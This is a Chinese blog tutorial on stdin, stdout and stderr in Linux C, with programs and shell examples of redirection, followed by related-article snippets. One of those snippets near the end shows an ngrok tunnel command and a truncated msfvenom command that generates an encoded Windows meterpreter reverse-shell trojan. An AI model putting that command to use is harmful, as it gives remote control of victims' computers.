输入流stdin默认是键盘,输出流stdout默认是显示器,错误流stderr

#include <stdio.h>

int main()
{
printf("请输入选择的数字:\n"); // 标准输出流
int choice;
scanf("%d",&choice); // 标准输入流
printf("您输入的数字是:%d\n",choice);
}
root@jiqing:~/cspace/les4# ./cio.out
请输入选择的数字:
10
您输入的数字是:10
#include <stdio.h>

int main()
{
// printf("please input the value a: \n");
fprintf(stdout,"please input the value a: \n"); // 非标准输出流 int a; // scanf("%d",&a);
fscanf(stdin,"%d",&a); // 非标准输入流
if (a<0) {
fprintf(stderr,"the value must > 0 \n");
return 1;
}
return 0;
}
root@jiqing:~/cspace/les4# ./cio.out
please input the value a:
-1
the value must > 0

重定向

#include <stdio.h>
int main()
{
printf("please input value of i:\n");
int i;
scanf("%d",&i); printf("please input value of j:\n");
int j;
scanf("%d",&j); printf("i+j=%d\n",i+j);
return 0;
}
root@jiqing:~/cspace/les5# cc main.c -o main.out && ./main.out
please input value of i:
10
please input value of j:
20
i+j=30

管道重定向处理

root@jiqing:~/cspace/les5# ./main.out  1>> a.txt
10
20
root@jiqing:~/cspace/les5# cat a.txt
please input value of i:
please input value of j:
i+j=30

这个时候会将所有的标准输出流都写入到a.txt中。

root@jiqing:~/cspace/les5# ./main.out  1> a.txt
10
20
root@jiqing:~/cspace/les5# cat a.txt
please input value of i:
please input value of j:
i+j=30

单箭头不会累计数据,每次都是最新的数据。

重定向输入流。

新建一个input.txt

10
30
root@jiqing:~/cspace/les5# ./main.out < input.txt
please input value of i:
please input value of j:
i+j=40

直接就输出了结果,键盘都没有敲。

标准错误流,

#include <stdio.h>
int main()
{
printf("please input value of i:\n");
int i;
scanf("%d",&i); printf("please input value of j:\n");
int j;
scanf("%d",&j);
if (0!=j) {
printf("%d/%d=%d\n",i,j,i/j);
} else {
fprintf(stderr,"j must > 0\n");
return 1;
}
return 0;
}
root@jiqing:~/cspace/les5# ./main.out 1>t.txt 2>f.txt
10
0
root@jiqing:~/cspace/les5# cat t.txt
please input value of i:
please input value of j:
root@jiqing:~/cspace/les5# cat f.txt
j must > 0

错误流会重定向到f.txt中,正确流会到t.txt中。

三者结合使用,

root@jiqing:~/cspace/les5# vim input.txt
10
0
root@jiqing:~/cspace/les5# ./main.out 1>t.txt 2>f.txt <input.txt
root@jiqing:~/cspace/les5# cat t.txt
please input value of i:
please input value of j:
root@jiqing:~/cspace/les5# cat f.txt
j must > 0

Linuxc - 标准输入流、标准输出流、标准错误流的更多相关文章

  1. java8_api_io

    IO-1    i/o的概念    File类详解        java.io.File    java.io.FileFilter接口        只有一个方法        这是一个函数式接口 ...

  2. 五、stdout,stdoin和stderr

    stdout,stdin和stderr分别是标准输出流.标准输入流和标准错误流,当一个用户进程被创建的时候,系统会自动为该进程创建这三个数据流,默认情况下这三个流是在终端上表现出来的.可以使用fpri ...

  3. python 精华梳理(已理解并手写)--全是干货--已结

    基础部分 map,reduce,filter,sort,推导式,匿名函数lambda , 协程,异步io,上下文管理 自定义字符串转数字方法一不使用reduce import re def str2i ...

  4. java 21 - 11 IO流的标准输入流和标准输出流

    标准输入输出流 System类中的两个成员变量: public static final InputStream in "标准"输入流. public static final P ...

  5. java 标准输出流、标准错误输出流、标准输入流及扫描仪

    初步认识标准输出流.错误输出流.输入流.扫描仪 package com.mydemo.controller; import java.util.Scanner; public class HelloW ...

  6. stdout( 标准输出流)和 stderr( 标准输入流) 重定向问题

    我想把提示信息和错误信息列表都写入到同一个文件里, /* ** 设置流, 使输出与错误流都指向指定的文件 */ if( (output1 = freopen( PATH, "a", ...

  7. 8.2 C++标准输出流对象

    参考:http://www.weixueyuan.net/view/6408.html 总结: iostream头文件,包含了该头文件后,我们就可以直接使用这些对象,包含标准的输出流对象cout.ce ...

  8. 在Android平台下的基于Linux-C 的测试程序

    iTOP-4412 开发板可以运行的文件系统很多,在具体的文件系统上实现特定功能前,可以 使用Linux-C 程序来测试硬件以及驱动.而且这些程序很容易移植到Android.Qt/E 以及最小文件系统 ...

  9. 在windows下搭建linux-c学习环境

    下载virtualbox并安装: https://www.virtualbox.org/wiki/Downloads 现在vagrant并安装: https://www.vagrantup.com/d ...

随机推荐

  1. timeline时间轴进度“群英荟萃”

    timeline时间轴进度“群英荟萃”  是日,无论PC项目还是APP,都涉及到了通常称谓的“时间轴”UI展现布局.产品和设计师都喜欢横向.纵向的时间轴来传达产品的寓意.如此,如斯!总结一套 time ...

  2. css-display

    1. none:隐藏对象.与visibility属性的hidden值不同,其不为被隐藏的对象保留其物理空间 2. inline:指定对象为内联元素. 3. block:指定对象为块元素. 4. inl ...

  3. [补充资料] 手动搭建 Cloudera 集群

    本课主题 集群搭建 设置 Web 服务器 启动 ClouderManager 登入 Cloudera Manager 引言 这部份是一个补充资料,记录如何安装 Cloudera 服务器 集群搭建 查看 ...

  4. 自学Aruba3.1-Aruba配置架构

    点击返回:自学Aruba之路 自学Aruba3.1-Aruba配置架构  WLAN配置架构 1. AP group :    Aruba无线控制器通过AP Group来构建无线网络配置参数模版.并通过 ...

  5. MariaDB的"response time"插件

    "响应时间"是衡量数据库性能的常用指标.在MariaDB中可以使用插件"QUERY_RESPONSE_TIME"来获取查询时间区间的统计信息. // 安装插 件 ...

  6. Django之路由分发系统

    web的基本工作流程 首先,我们先来思考一下我们平常在上网浏览网页时候的场景,大致就是打开一个web浏览器,输入某一个网站的地址,然后转到该网址,在浏览器中得到该网址的页面.从这个场景中我们可以抽象出 ...

  7. Zabbix实战-简易教程--技巧(本地化)

    1.zabbix的logo图标替换(不建议修改) 3.0版本以下: 1.修改/usr/share/zabbix/include/page_header.php 2.修改/usr/share/zabbi ...

  8. 让你的Capslock键变废为宝

    Capslock 键的劣性 如果你是 Windows 系统用户,就会发现,很多时候我们是用不到 Capslock 键的.Capslock 键是切换大小写的锁定,而在平常工作中,只要摁住 Shift 键 ...

  9. 《SpringMVC从入门到放肆》一、概述

    一.SpringMVC概述 View Service Dao DB Spring MVC interface interface Mysql impls impls SpringMVC也叫Spring ...

  10. metasploit配置windows外网木马

    首先在命令端输入./ngrok tcp 2222然后会变成这样 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i ...